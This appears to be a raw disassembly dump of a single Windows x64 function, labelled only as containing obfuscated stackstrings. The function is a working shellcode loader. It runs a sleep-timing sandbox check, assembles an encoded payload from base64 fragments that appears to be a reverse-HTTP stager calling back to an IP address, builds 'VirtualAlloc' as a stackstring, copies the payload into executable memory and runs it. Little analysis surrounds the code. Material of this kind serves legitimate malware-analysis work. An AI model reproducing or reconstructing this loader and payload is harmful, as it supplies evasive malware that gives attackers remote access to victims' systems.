Function at 0x401852
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x680
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x620], ecx
mov qword [rbp + 0x628], rdx
call fcn.00402670
call sub.msvcrt.dll_clock
mov dword [rbp + 0x5fc], eax
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
mov ecx, 0x35
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call sub.msvcrt.dll_clock
mov dword [rbp + 0x5f8], eax
mov ecx, 0x958
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5f0], rax
mov eax, dword [rbp + 0x5f8]
sub eax, dword [rbp + 0x5fc]
cmp eax, 0x34
jle 0x40259a
mov eax, dword [rbp + 0x5f8]
sub eax, dword [rbp + 0x5fc]
cmp eax, 0x98
jg 0x40259a
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
lea rcx, str.jgQt
call sub.msvcrt.dll_printf
lea rax, str.OTA5MGZjND
mov qword [rbp + 0x5e8], rax
mov dword [0x00404020], 0
lea rax, str.g4M2U0ZjBlOGM4MDAwMDAwNDE1MTQxNTA1MjUxNTY0ODMxZDI2NTQ4OGI1MjYwNDg4YjUyMTg0ODhiNTIyM
mov qword [rbp + 0x5e0], rax
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
lea rax, str.DQ4OGI3MjUwNDgwZmI3NGE0YTRkMzFjOTQ4MzFjMGFjM2M2MTdjMDIyYzIwNDFjMWM5MGQ0MTAxYzFlMmVkNTI0MTUxN
mov qword [rbp + 0x5d8], rax
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
lea rax, str.Dg4YjUyMjA4YjQyM2M0ODAxZDA2NjgxNzgxODBiMDI3NTc
mov qword [rbp + 0x5d0], rax
mov dword [0x00404020], 0
lea rax, str.yOGI4MDg4MDAwMDAwNDg4NWMwNzQ2NzQ4MDFkMDUwOGI0O
mov qword [rbp + 0x5c8], rax
mov dword [0x00404020], 0
lea rax, str.DE4NDQ4YjQwMjA0OTAxZDBlMzU2NDhmZmM5NDE4YjM0ODg0ODAxZDY0ZDM
mov qword [rbp + 0x5c0], rax
mov dword [0x00404020], 0
lea rax, str.xYzk0ODMxYzBhYzQxYzFjOTBkNDEwMWMxMzhlMDc1ZjE0YzAzNGMyNDA4NDUzOWQxNzVkODU4NDQ4YjQwMjQ0
mov qword [rbp + 0x5b8], rax
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
lea rax, str.OTAxZDA2NjQxOGIwYzQ4NDQ4YjQwMWM0OTAxZDA0MThiMDQ4ODQ4MDFkM
mov qword [rbp + 0x5b0], rax
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
lea rax, str.DQxNTg0MTU4NWU1OTVhNDE1ODQxNTk0MTVhNDg4M2VjMjA0MTUyZmZlMDU4NDE1OTVhNDg4YjEyZTk0ZmZmZm
mov qword [rbp + 0x5a8], rax
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
lea rax, str.ZmZjVkNmEwM
mov qword [rbp + 0x5a0], rax
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
lea rax, str.DQ5YmU3NzY5NmU2OTZlNjU3NDAwNDE1NjQ5ODllNjRjODlmMTQxYmE0Yzc3MjYw
mov qword [rbp + 0x598], rax
mov dword [0x00404020], 0
lea rax, str.N2ZmZDU0ODMxYzk0ODMxZDI0ZDMxYzA0
mov qword [rbp + 0x590], rax
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
lea rax, str.ZDMxYzk0MTUwNDE1MDQxYmEzYTU2NzlhN2ZmZDVlYjczNWE0ODg5YzE0MWI4NTAwMDAwM
mov qword [rbp + 0x588], rax
mov dword [0x00404020], 0
lea rax, str.DA0ZDMxYzk0MTUxNDE1MTZhMDM0MTUxNDFiYTU3ODk5ZmM2ZmZkNWViNTk1YjQ4ODljMTQ4MzFk
mov qword [rbp + 0x580], rax
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
lea rax, str.MjQ5ODlkODRkMzFjOTUyNjgwMDAyNDA4NDUyNTI0MWJhZWI1NTJlM2JmZmQ1NDg4OWM2
mov qword [rbp + 0x578], rax
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
lea rax, str.NDg4M2MzNTA2YTBhNWY0ODg5ZjE0ODg5ZGE0OWM3YzBmZmZ
mov qword [rbp + 0x570], rax
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
lea rax, str.mZmZmZjRkMzFjOTUyNTI0MWJh
mov qword [rbp + 0x568], rax
mov dword [0x00404020], 0
lea rax, str.MmQwNjE4N2JmZmQ1ODVjMDBmODU5ZDAxMDAwMDQ4ZmZjZjBmODQ4YzAxMDAwMGViZDNlOWU0MDEwMDAwZThhMmZ
mov qword [rbp + 0x560], rax
mov dword [0x00404020], 0
lea rax, str.mZmZmZjJmNTE1MDUyNmEwMGZiNmZlYmRiMDhmYTI0ZGFkMzUwYzRlYTYxZmVhZDgwODgxOWJkNzFjZWU2O
mov qword [rbp + 0x558], rax
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
lea rax, str.WIyNjhiOWQ0Y
mov qword [rbp + 0x550], rax
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
lea rax, str.Tc0YzAxMWRkNjNhMmFlZWIwMzg3MDg3OTc2N2EzOTZkN2NhYjA4MDcxYjMzNmI1MDFlOWE1ZjFmODFhYTVkODIyNGFiMDhhMDk
mov qword [rbp + 0x548], rax
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
lea rax, str.wMzdkZWNmZDAwZjMzZTZlOWNiMDA1NTczNjU3MjJkNDE2NzY1NmU3NDNhMjA0ZDZmN2E2OTZjNmM2MTJmMzQyZTMwMjAy
mov qword [rbp + 0x540], rax
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
lea rax, str.ODYzNmY2ZDcwNjE3NDY5NjI2YzY1M2IyMDRkNTM0OTQ1MjAzNzJlMz
mov qword [rbp + 0x538], rax
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
lea rax, str.AzYjIwNTc2OTZlNjQ2Zjc3NzMyM
mov qword [rbp + 0x530], rax
mov dword [0x00404020], 0
lea rax, str.DRlNTQyMDM2MmUzMDI5MGQwYTAwNTVjODEwYWNmNTMxMjZjYWRi
mov qword [rbp + 0x528], rax
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
lea rax, str.NWM0MzZhOTIzNjUzNmI0YzY5MzRjZTNhOTJiNDk0M2RlNWU3NWMxMmViMTZkNz
mov qword [rbp + 0x520], rax
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
lea rax, str.c0NTJmZWI3ZTE5MTA4MmJmMGE3MGY2MzcwNWI5YTNlNTk1ZWM5ZWEzOTdjMGJhYThkN
mov qword [rbp + 0x518], rax
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
lea rax, str.zA3MGVmYTI5YjQzYzg1ODk4ODdjYWFjZmM2NmE0ODM4YTFlNmVhNmE5ZDI4YTU2NDI3ZjY5MGZlYzNmOGVhOWNhM
mov qword [rbp + 0x510], rax
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
lea rax, str.DFhNzE2ZDllZDVlZjBkNWJhZTExZjNiYmQ
mov qword [rbp + 0x508], rax
mov dword [0x00404020], 0
lea rax, str.xMjJhZTY0ZjE4NDNhZTliZTY4NzA4MDY1NDY3ODIzZDQxYjd
mov qword [rbp + 0x500], rax
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
lea rax, str.mMjc1M2Q4NzI3ZTA1OWY3MDkwMzNiMjMzN2E3NDNmOTE2ODM0NWZjYjRmMzFkM
mov qword [rbp + 0x4f8], rax
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
lea rax, str.jE1MmY4ZTUwZmVjMzViY2Q3MGJj
mov qword [rbp + 0x4f0], rax
mov dword [0x00404020], 0
lea rax, str.N2RhOTIxMWNjM2NlNGU2OTQxZTdjNDVjNGQ2NTZiNmViNDU3OGYzNjk1OWQ5Yjk3Z
mov qword [rbp + 0x4e8], rax
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
lea rax, str.jg4NjBjMzRjNWZlOWFmODhkMzBiOWM0MjdkM2QzZmNkNzQ3MjY1NGYxYmJiYzhiOTA4MDVmMjdhMmEwZDJjZTY2Ym
mov qword [rbp + 0x4e0], rax
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
lea rax, str.MwNzAxYjEyZWZhYzY1MzY1NWY1OTAzMzk2MmFhMTkyMmY5
mov qword [rbp + 0x4d8], rax
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
lea rax, str.ZTA4MzRjMmQ
mov qword [rbp + 0x4d0], rax
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
lea rax, str.5OGI1M2EzZTUwMDQxYmVmMGI1YTI1NmZmZ
mov qword [rbp + 0x4c8], rax
mov dword [0x00404020], 0
lea rax, str.DU0ODMxYzliYTAwMDA0MDAwNDFiODAwMTAwMDAwNDFiOTQwMDAwMDAwN
mov qword [rbp + 0x4c0], rax
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
lea rax, str.DFiYTU4YTQ1M2U1ZmZkNTQ4OTM1MzUzNDg4OWU
mov qword [rbp + 0x4b8], rax
mov dword [0x00404020], 0
lea rax, str.3NDg4OWYxNDg4OWRhNDFiODAwMjAwMDAwNDk4OWY5NDFiYTEyOTY4OWUyZmZkNTQ4ODNjNDIwODVjMDc0YjY2N
mov qword [rbp + 0x4b0], rax
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
lea rax, str.jhiMDc0ODAxYzM4NWMwNzVkN
mov qword [rbp + 0x4a8], rax
mov dword [0x00404020], 0
lea rax, str.zU4NTg1ODQ4MDUwMDAwMDAwMDUwYzNlODlmZmRmZmZmMzEzOTMyMmUzMTM2MzgyZTMyMzEzMzJlMzEzMjM4MDAzY
mov qword [rbp + 0x4a0], rax
mov dword [0x00404020], 0
lea rax, str.WRlNjhiMQ
mov qword [rbp + 0x498], rax
mov dword [0x00404020], 0
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x38], 0
lea rdx, [rbp - 0x30]
mov eax, 0
mov ecx, 0x93
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov word [rdx], ax
add rdx, 2
mov byte [rdx], al
add rdx, 1
mov rdx, qword [rbp + 0x5e8]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcpy
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x5e0]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x00404020], 0
mov rdx, qword [rbp + 0x5d8]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x00404020], 0
mov rdx, qword [rbp + 0x5d0]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x5c8]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x5c0]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x5b8]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x5b0]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x5a8]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x5a0]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x00404020], 0
mov rdx, qword [rbp + 0x598]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x590]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x588]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x580]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x00404020], 0
mov rdx, qword [rbp + 0x578]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x00404020], 0
mov rdx, qword [rbp + 0x570]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x00404020], 0
mov rdx, qword [rbp + 0x568]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x00404020], 0
mov rdx, qword [rbp + 0x560]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x558]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x00404020], 0
mov rdx, qword [rbp + 0x550]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x548]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x540]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x00404020], 0
mov rdx, qword [rbp + 0x538]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x530]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x00404020], 0
mov rdx, qword [rbp + 0x528]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x00404020], 0
mov rdx, qword [rbp + 0x520]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x518]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x510]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x00404020], 0
mov rdx, qword [rbp + 0x508]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x00404020], 0
mov rdx, qword [rbp + 0x500]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x4f8]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x00404020], 0
mov rdx, qword [rbp + 0x4f0]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x00404020], 0
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x00404020], 0
mov rdx, qword [rbp + 0x4e0]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x4d8]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x4d0]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x4c8]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x4c0]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x00404020], 0
mov rdx, qword [rbp + 0x4b8]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x00404020], 0
mov rdx, qword [rbp + 0x4b0]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x00404020], 0
mov rdx, qword [rbp + 0x4a8]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x4a0]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x498]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
mov rax, qword [rbp + 0x5f0]
lea rdx, [0x00405a0d]
mov rcx, rax
call fcn.00401560
mov qword [rbp + 0x490], rax
mov rdx, qword [rbp + 0x490]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.00401809
mov byte [rbp - 0x4d], 0x56
mov byte [rbp - 0x4c], 0x69
mov byte [rbp - 0x4b], 0x72
mov byte [rbp - 0x4a], 0x74
mov byte [rbp - 0x49], 0x75
mov byte [rbp - 0x48], 0x61
mov byte [rbp - 0x47], 0x6c
mov byte [rbp - 0x46], 0x41
mov byte [rbp - 0x45], 0x6c
mov byte [rbp - 0x44], 0x6c
mov byte [rbp - 0x43], 0x6f
mov byte [rbp - 0x42], 0x63
mov byte [rbp - 0x41], 0
lea rax, [rbp - 0x4d]
mov qword [rbp + 0x488], rax
mov byte [rbp - 0x56], 0x6b
mov byte [rbp - 0x55], 0x65
mov byte [rbp - 0x54], 0x72
mov byte [rbp - 0x53], 0x6e
mov byte [rbp - 0x52], 0x65
mov byte [rbp - 0x51], 0x6c
mov byte [rbp - 0x50], 0x33
mov byte [rbp - 0x4f], 0x32
mov byte [rbp - 0x4e], 0
lea rax, [rbp - 0x56]
mov qword [rbp + 0x480], rax
mov rax, qword [rbp + 0x480]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
mov rax, qword [rbp + 0x488]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x478], rax
mov rax, qword [rbp + 0x478]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x4ab
mov ecx, 0
call rax
mov qword [rbp + 0x470], rax
mov rax, qword [rbp + 0x470]
mov rdx, rax
lea rax, [rbp - 0x40]
mov ecx, 0x4ab
mov r8, qword [rax]
mov qword [rdx], r8
mov r8d, ecx
add r8, rdx
lea r9, [r8 + 8]
mov r8d, ecx
add r8, rax
add r8, 8
mov r8, qword [r8 - 0x10]
mov qword [r9 - 0x10], r8
lea r8, [rdx + 8]
and r8, 0xfffffffffffffff8
sub rdx, r8
sub rax, rdx
add ecx, edx
and ecx, 0xfffffff8
shr ecx, 3
mov edx, ecx
mov edx, edx
mov rdi, r8
mov rsi, rax
mov rcx, rdx
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp + 0x470]
call rax
mov edx, dword [0x00404020]
mov eax, dword [0x00404024]
add eax, edx
mov edx, eax
lea rcx, [0x00405a0f]
call sub.msvcrt.dll_printf
jmp 0x4025b1
mov dword [0x00404020], 0
lea rcx, str.jgQt
call sub.msvcrt.dll_printf
nop
add rsp, 0x680
pop rsi
pop rdi
pop rbp
ret